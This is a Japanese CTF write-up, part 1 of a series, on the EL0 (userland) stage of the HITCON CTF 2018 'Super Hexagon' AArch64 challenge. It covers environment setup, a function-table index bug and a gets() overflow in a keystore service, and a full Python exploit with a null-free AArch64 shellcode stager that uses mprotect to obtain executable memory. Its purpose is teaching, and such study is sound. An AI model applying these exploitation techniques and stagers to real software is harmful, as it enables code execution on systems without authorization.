Try   HackMD

HITCON CTF 2018 - Super Hexagon (Part 1/7)

tags: trustzone ctf pwn ARM Aarch64, kernel hypervisor

はじめに

この記事は,CTF Advent Calendar 2020 の3日目の記事です.
2日目は@kusuwadaさんの「オススメの初級者向けCTF」でした.

今日から7日間かけて,HITCON CTF 2018で出題されたSuper Hexagonというタイトルの,Aarch64のpwn問を解説していきます.この問題は以下のような特徴があります.

  • アーキテクチャがAarch64である
    • 日本ではほとんど解説を見たことがない
  • ステージが6段階ある
    • 日本では解説を見たことがない
    1. ユーザランド
    2. カーネル
    3. ハイパーバイザ
    4. Trustzoneユーザランド
    5. Trustzoneカーネル
    6. セキュアモニタ
  • Firmwareのリバース/exploit要素が詰まっている
    • 日本ではカーネルレイヤの話すらほとんど解説がない
    • ハイパーバイザ以降の話もほとんど解説を見たことがない
  • Write-upを読んでもわからない
    • Write-upの記事を読むだけでは,(私の知識がなさすぎて)理解できない箇所が多すぎた

私は以前この問題に取り組み,納得行くまで色々調べ,その結果沢山のことを学びました.その内容は自分やチームのためにまとめて記事にしていたのですが,公開したほうが各位の知見になるのではと思い,今更ですが公開する次第です.尚,記事自体は結構前に書いてチーム内に公開していたものであり,文体が違っていたり,若干記述が古い箇所があるかもしれませんが,ご了承ください.

解説は非常に長丁場になるため,各ステージごとに日を分けて解説していきます(但しPart6と7は,それまでの集大成になるため新たな解説がほとんどなく,とても短いです).そしてこれが一番伝えたいことなのですが,Pwn担当の方(中でも普通のやるだけPwnに飽きてきた方)は,ぜひ,流し読みするのではなく自分で納得行くまで解析してみてください.おそらくかなり手間取るとは思いますが,その分とても楽しめると思います.

参考文献

今回は主にチームNASA RejectsのWrite-upを参考に,他のチームのWrite-upも取り込みながら,6つのレベルを攻略していく.

リンク集

問題文

https://ctf2018.hitcon.org/dashboard/#9

UPDATE: bios.bin (2018-10-20 08:01:00 UTC) Escape each level for your six flags. EL0 – Hard EL1 – Harder EL2 – Hardest S-EL0 – Hardester S-EL1 – Hardestest S-EL3 – Hardestestest nc 54.64.96.126 6666 Something good for you (AArch64のマニュアルPDFへのリンク) super_hexagon-2044407c141e2a3a49d9fb57b62c73ee.tar.xz (問題イメージへのリンク)

問題はここからDLできる.ただしAArch64のマニュアルPDF(AArch64-Reference-Manual.pdf)は含まれていない.

https://github.com/grant-h/ctf/blob/master/hitcon18/superhexagon/super_hexagon-2044407c141e2a3a49d9fb57b62c73ee.tar.xz

初動調査

以下のファイル群が渡される.docker内でqemuが動き,その上でBIOSや独自カーネル,ユーザランドバイナリが動く構造である.

qemu.patch # パッチ情報(フラグレジスタを新規追加したこの問題用のオリジナルHWを定義) qemu-arm-debug.patch # パッチ情報(セキュアワールドをデバッグし易くするためのもの.詳細はS-EL0の攻略で述べる) README # 各レベルのフラグは,システムレジスタ内にあることが記述されている super_hexagon/ share/ # docker内の/home/super_hexagon/にマウントされるディレクトリ bios.bin # qemu上で動くBIOS qemu-system-aarch64 # docker内で実行されるAArch64のqemu(qemu.patchが当たっている) run.sh # qemu起動コマンド flag/ # フラグが6個入っている tmp/ # docker内の/tmp/にマウントされるディレクトリ(今は空) docker-compose.yml # docker設定ファイル Dockerfile # docker設定ファイル xinetd # サーバ待受用

環境について

アーキテクチャはAArch64(ARMv8)で,問題文よりTrustZoneが設定されている.

TrustZoneはARMやAArch64が持つ機構で,これまでのユーザランドやカーネル,ハイパーバイザの動作レベルをEL0,EL1,EL2としたとき,大体以下のような構造になっている(公式のヒントより).

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ELはException Levelのことで,直訳すると「例外レベル」だが,イメージとしてはRing-3,Ring-0などの概念に近い.ただし数字は逆なので注意しよう(EL0が最も権限が低い).

尚,S-EL2は存在しないことに注意しよう.ARMv8.4から導入される予定であるが,今回の環境では存在しない.

攻略方針

おそらく,EL0 → EL1 → EL2 → S-EL0 → S-EL1 → S-EL3 の順で攻略していく必要がある.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

まずは問題の理解が必要だ.その次に各ELのコードを抽出し,解析,脆弱性特定,最後にexploit開発,という流れになるはずだ.

必要に応じてデバッグ環境の構築,マニュアルの読解なども含まれるだろう.

環境構築

動作確認

docker-composeを導入したら,以下のコマンドでサービスが起動する.

$ docker-compose build $ docker-compose up -d

同梱のdocker-compose.yamlを読めば6666/tcpで待ち受けていることがわかるので,dockerの外側からnetcatなどで接続する.

以下のような応答が得られる.
どうやら16進数でデータを格納できる,シンプルなノート系サービスのようだ.

$ nc localhost 6666 NOTICE: UART console initialized INFO: MMU: Mapping 0 - 0x2844 (783) INFO: MMU: Mapping 0xe000000 - 0xe204000 (40000000000703) INFO: MMU: Mapping 0x9000000 - 0x9001000 (40000000000703) NOTICE: MMU enabled NOTICE: BL1: HIT-BOOT v1.0 INFO: BL1: RAM 0xe000000 - 0xe204000 INFO: SCTLR_EL3: 30c5083b INFO: SCR_EL3: 00000738 INFO: Entry point address = 0x40100000 INFO: SPSR = 0x3c9 VERBOSE: Argument #0 = 0x0 VERBOSE: Argument #1 = 0x0 VERBOSE: Argument #2 = 0x0 VERBOSE: Argument #3 = 0x0 NOTICE: UART console initialized [VMM] RO_IPA: 00000000-0000c000 [VMM] RW_IPA: 0000c000-0003c000 [KERNEL] mmu enabled INFO: TEE PC: e400000 INFO: TEE SPSR: 1d3 NOTICE: TEE OS initialized [KERNEL] Starting user program ... === Trusted Keystore === Command: 0 - Load key 1 - Save key cmd> 1 index: 0 key: AAAA [0] <= AAAA cmd> 1 index: 1 key: BBBB [1] <= BBBB cmd> 0 index: 0 [0] => aaaa cmd> 0 index: 1 [1] => bbbb cmd>

尚,十分なメモリがVMゲストに与えられていないとdocker内のqemuが起動に失敗する.
4GBでは不十分だったので,8GB程度はメモリを割り当てておくと良いだろう.

docker設定変更

後で困らないように,docker-compose.yamlをいじって/tmpRWにしておこう.これでdocker内でもaptができる.またgdbがまともに使えるよう,権限追加やseccomp解除をしておこう.

$ docker-compose stop $ vi docker-compose.yaml super_hexagon: build: ./ volumes: - ./share:/home/super_hexagon:ro - ./xinetd:/etc/xinetd.d/super_hexagon:ro - ./tmp:/tmp:rw ★ ports: - "6666:6666" expose: - "6666" cap_add:★ - ALL security_opt:★ - seccomp:unconfined $ docker-compose up -d

dockerの中に入ることもできるので,必要に応じてイメージ内に色々ツールを入れておくと良い.

$ docker exec -it super_hexagon_super_hexagon_1 bash (docker内部で) $ apt update $ apt install -y apt-utils net-tools netcat $ apt install -y wget $ apt install -y dialog # vimのインストールエラー対策 $ apt install -y vim

qemu設定変更

また,run.shは,先頭のexectimeoutを消して,末尾に-S -sをつけておくとgdbでデバッグができて良い.私は-sだけで良い派なので,以下のようにした.

$ vi share/run.sh #!/bin/bash # #exec timeout 120 /home/super_hexagon/qemu-system-aarch64 -nographic -machine hitcon -cpu hitcon -bios /home/super_hexagon/bios.bin -monitor /dev/null 2>/dev/null -serial null /home/super_hexagon/qemu-system-aarch64 -nographic -machine hitcon -cpu hitcon -bios /home/super_hexagon/bios.bin -monitor /dev/null 2>/dev/null -serial null -s

これで,以下のようにデバッグができる.

(docker内部で) $ gdb-multiarch -q -ex 'target remote :1234'

尚,後半ではデバッグ中に無限ループに飛ばしてアタッチすることが多いので,以下のほうが有用だろう.

(docker内部で) $ gdb-multiarch -q -ex 'target remote :1234'; kill -9 $(pgrep qemu)

EL0の攻略

ELFの解析

バイナリの切り出し

bios.binの末尾にELFが存在するので,切り出して解析してみよう.

$ binwalk bios.bin -eM Scan Time: 2019-10-06 17:52:46 Target File: /mnt/hgfs/Shared/HITCON-2018/super_hexagon/work/bios.bin MD5 Checksum: 62851c4cecfff42792d4ec20a530886f Signatures: 344 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 143472 0x23070 SHA256 hash constants, little endian 770064 0xBC010 ELF, 64-bit LSB executable, version 1 (SYSV) $ file _bios.bin.extracted/BC010.elf BC010.elf: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, with debug_info, not stripped $ mv _bios.bin.extracted/BC010.elf EL0_ELF

動作内容の把握

いわゆるノートサービスで,コード量も多くはない.全体的に見ていこう.

利用されている構造体はこちら.

そしてこちらがコードだ.

main

intro

load_trustlet

main()から呼ばれるload_trustlet()を見ると,tc_が頭についた関数が使われている.これがおそらくTrustZone関連なのだろう.

なおtc_register_wsm()tc_init_trustlet()の中身はsyscallを呼んでいるだけであった.

tc_register_wsm

tc_init_trustlet

tc_tci_call

syscallの先がどうハンドリングされるかは現時点では不明なので後回しにするとして,とりあえず,セキュアワールドに渡している(確保したwsmmemcpy()で書き込んでいる)バイナリデータ(TA_BIN)は,後に使うと思われるのでダンプしておこう.これはおそらくS-EL0のコードだ.

さて,ここからがノートサービスだ.実にシンプルな作りである.メニューではcmdindexを受け取り,cmd=1のときはkeyも受け取る.

run

ロード機能の実装は以下の通り.tci_bufcmdindexをセットし,システムコールを呼び出す.するとTrustZoneで処理され,tci_buf->dataにデータが入ってくる仕組みらしい.

cmd_load

load_key

セーブ機能の実装は以下の通り.こちらも同様,tci_bufcmdindexdata(16進数ASCII形式)をセットし,システムコールを呼び出す.するとデータがTrustZoneに保存される仕組みらしい.

cmd_save

save_key

ここで,脆弱性は2つ存在する.

脆弱性

脆弱性1

run()関数には,関数テーブルのインデックスバグが存在する.

コード上はcmd=1or0しか想定していないが,実際はどんな値でも受け付けてしまうのだ.

さて,我々の入力バッファはinputと呼ばれるグローバル変数に入っている(これはscanf()の実装からわかる).

inputcmdtb0x100バイト前に存在する.

もしコマンド番号として-32 (= -0x100/8)を指定すると,どうなるだろうか.

cmdtb[]_QWORDな要素の配列であるため,cmdtb[-32]&cmdtb[0] - 0x100の位置を指すことになる.

つまりcmdtb[-32](buf, idx, size)という形の関数呼び出しは,input[0:8](buf, idx, size)という形の関数呼び出しと同義であるため,input内のデータをアドレスと解釈して関数が呼び出されることになる.

脆弱性2

2つ目のバグは,scanf()の実装におけるBOFである.

scanf()では内部的にgets()と名前の付いた関数を用いている.この関数はバッファの長さチェックがないので,BOFが発生することになる.読み込み先のinput.bss上の0x100バイトの配列で,その直後にはcmdtb,つまり関数ポインタが存在するので,BOFで上書きすれば制御を奪うことが出来る.

フラグ奪取

EL0にはprint_flag()関数が実装されている.$PCの制御を奪取できるなら,ここに飛ばせば良い.

つまり脆弱性1を使った場合はこんなコードでフラグが取れることになる.

s, f = sock(HOST, PORT) f.write("-32\n" + pQ(0x400104) + "\n") shell(s)

または脆弱性2を使った場合はこんなコードでフラグが取れる.

s, f = sock(HOST, PORT) f.write("1\n1\n" + "A"*256 + pQ(0x400104)[:-1] + "\n") # save f.write("0\n1\n") # load shell(s)

実行した結果がこちら(脆弱性2を使った場合).

$ py exp.py index: key: [1] <= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ cmd> index: Flag (EL0): hitcon{this is flag 1 for EL0} cmd>

任意コード実行へ

EL0のフラグを取るだけなら関数ポインタの差し替えだけでよいのだが,権限昇格につなげることを見据えた任意コード実行を行うにはひと手間必要だ.

任意コード実行のためには,シェルコード(stagerで良い)をRWXな領域へ書き込む必要がある.つまりまずはRWXな領域を作らなければならない.バイナリはスタティックリンクであり,mprotect()が存在するので,まずはここを呼び出すことからはじめよう.

先の脆弱性を使うと,cmdtb[cmd](buf, idx, size)の形で呼ばれる関数ポインタをmprotect()に差し替えられる.つまりmprotect(buf, idx, size)という形で呼び出されることになる.

但しbufが指すアドレスをユーザがコントロールすることはできない.従ってmprotect()RWXにする領域(=シェルコードを配置する領域)は,bufの指すアドレスつまりmain()内で最初にmmap()により確保された領域となる.idx, sizeはユーザがコントロールすることが出来る.

  • 補足1: idxは関数ポインタを呼んだ先でチェックしているので,関数ポインタ自体を差し替えるならチェックはされない.つまりどの様な値を入れても良い.
  • 補足2: sizestrlen(input)で計算されるため,\0が入っているとそこまでの長さで打ち切られる.ただしsize=7(=RWX)にするとエラーメッセージが出てうまく行かない.これは(EL1カーネルを読むと分かるが)この環境がW^Xを実装しているためである.エラーメッセージを参考に,size=5(=R-X)にすればうまくいく.
  • 補足3: bufにはmmap()で確保されたアドレスが入っている.一見ランダムに見えるが,この環境はASLRを実装していないため,0x7ffeffffd000で固定である.これはqemugdbでアタッチすれば確認できる.
  • 補足4: bufにはシェルコードがscanf()経由で格納されるため,シェルコードに0x0, 0xa, 0xd, 0x20を使うことはできない(正確には0x0だけは利用できるが何度かに分けて送らないといけないので面倒).
  • 補足5: このカーネルのread()のシステムコール実装は,1バイトずつしか読み込まないので,stagerにおけるread()による転送も1バイトずつ送ること.

exploit

EL0で任意コード実行を行うexploitの実装は以下のようになる.Python2のコードであることに注意.

Click

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, commands, re, hexdump
#################################################################################
def sock(host, port):
s = socket.create_connection((host, port))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim): data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a&0xffffffff)
def u(a): return struct.unpack("<I",a)[0]
def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
def uQ(a): return struct.unpack("<Q",a)[0]
def dbg(ss):
cs, ce = '\x1b[1;37m', '\x1b[00m' # White
print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce)
def xxd(data):
hexdump.hexdump(data)
#################################################################################
def init():
info = read_until(f, "=== Trusted Keystore ===\n")
#print info
def menu():
r = read_until(f, "cmd> ")
#print [r]
return r
def load(index, skip=False):
f.write("0\n")
read_until(f, "index: ")
f.write("%d\n" % index)
if skip: return
return menu()
def save(index, key, skip=False):
f.write("1\n")
read_until(f, "index: ")
f.write("%d\n" % index)
read_until(f, "key: ")
f.write("%s\n" % key)
if skip: return
return menu()
def asm(code):
open("/tmp/hoge.s", "wb").write(code)
cmd = "aarch64-linux-gnu-as -o /tmp/hoge.out /tmp/hoge.s"
cmd += " && aarch64-linux-gnu-ld -o /tmp/hoge /tmp/hoge.out"
cmd += " && objdump -dz /tmp/hoge"
cmd += " && rm -f /tmp/hoge /tmp/hoge.out /tmp/hoge.s"
return commands.getoutput(cmd)
def parse(output):
if "Error" in output or "error" in output:
print output
exit(0)
payload = ""
for line in output.splitlines():
r = re.findall(r"^\s+\w{6}:\s+(\w{8})\s+.+", line)
if r:
payload += p(int(r[0], 16))
return payload
#################################################################################
def el0_stager():
# EL0-stager @ 0x7ffeffffd000
el0_stager = """
.section .text
.global _start
# 401B5C mmap mmap(0LL, (size_t)v4, 3, 0, 0, -1LL);
# 401B50 read read(0, &c, 1uLL)
# 401B68 mprotect
_start:
# setup useful constants
mov x19, #0x0401
lsl x19, x19, #12 ;# x19 = 0x0401000
sub x20, x20, x20 ;# x20 = 0x0
mov x23, #0x1111
lsr x23, x23, #12
lsl x23, x23, #12 ;# x23 = 0x1000
# x21 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, 0, 0, -1)
mov x0, x20 ;# 0
mov x1, x23 ;# 0x1000
mov x2, #0x310 ;#
lsr x2, x2, #8 ;# 0x3
mov x3, x20 ;# 0
mov x4, x20 ;# 0
neg x5, x20 ;# -1
add x10, x19, #0xb5c ;# 0x0401b5c
blr x10
add x21, x0, #123
sub x21, x21, #123
# for(x22 = 0; x22 != 0x1000; x22++) read(0, &x21[x22], 1);
mov x22, x20
readloop:
mov x0, x20 ;# 0
add x1, x21, x22 ;# &x21[x22]
lsr x2, x23, #12 ;# 1
add x10, x19, #0xb50 ;# 0x0401b50
blr x10
sub x22, x22, #0x110
add x22, x22, #0x111
cmp x22, x23
bne readloop
# mprotect(x21, 0x1000, PROT_READ|PROT_EXEC)
mov x0, x21 ;# mmap_buffer
mov x1, x23 ;# 0x1000
mov x2, #0x510
lsr x2, x2, #8 ;# 0x5
add x10, x19, #0xb68 ;# 0x0401b68
blr x10
# goto buffer
blr x21
"""
stager = parse(asm(el0_stager))
assert not "\0" in stager
assert not "\n" in stager
assert not "\r" in stager
assert not "\x20" in stager
assert len(stager)+8 <= 256
save(1, "AAAAAAAA" + stager)
mprotect = 0x401B68
mmap_addr = 0x7ffeffffd000 # no ASLR, buf address
buf = "AAAAA\0AA".ljust(256,"\0") + pQ(mmap_addr+8) + pQ(mprotect)[:-1]
save(0x1000, buf, skip=True) # mprotect(buf, 0x1000, 5)
load(0, skip=True) # jump to buf
el0_readflag() # load via stager
def el0_readflag():
# EL0-shellcode @ 0x7ffeffffc000
el0_sc = """
.section .text
.global _start
_start:
# print EL0 flag
ldr x10, =0x400104
blr x10
"""
payload = parse(asm(el0_sc))
assert len(payload) <= 0x1000
f.write(payload.ljust(0x1000)) # EL0 shellcode
#################################################################################
HOST, PORT = "127.0.0.1", 6666
s, f = sock(HOST, PORT)
raw_input("gdb?")
init()
menu()
el0_stager()
shell(s)
"""
root@Ubuntu1804-64:~/now# py exp_el0.py
gdb?
Flag (EL0): hitcon{this is flag 1 for EL0}
*** Connection closed by remote host ***
root@Ubuntu1804-64:~/now#
"""
view raw exp_el0.py hosted with ❤ by GitHub


小難しい感じでアセンブリが書かれているが,NULL回避をしながら

  • mmap()RW-なメモリをシェルコード用に確保
  • 0x1000回のread()でシェルコードを追加読込
  • mprotect()でシェルコードをR-X
  • シェルコードへジャンプ

をしているだけである.stagerの先に,EL0のフラグを読み出すようなシェルコードを書いておけば良い.

尚アセンブリをその場でアセンブルしているので,動かすには以下のパッケージをインストールしておく必要がある.

apt install binutils                       # objdump用
apt install binutils-aarch64-linux-gnu     # as/ld用 aarch64
apt install binutils-arm-linux-gnueabi     # as/ld用 aarch32 (後半で使う)

続く

明日は私のHITCON CTF 2018 - Super Hexagon (Part 2/7)です.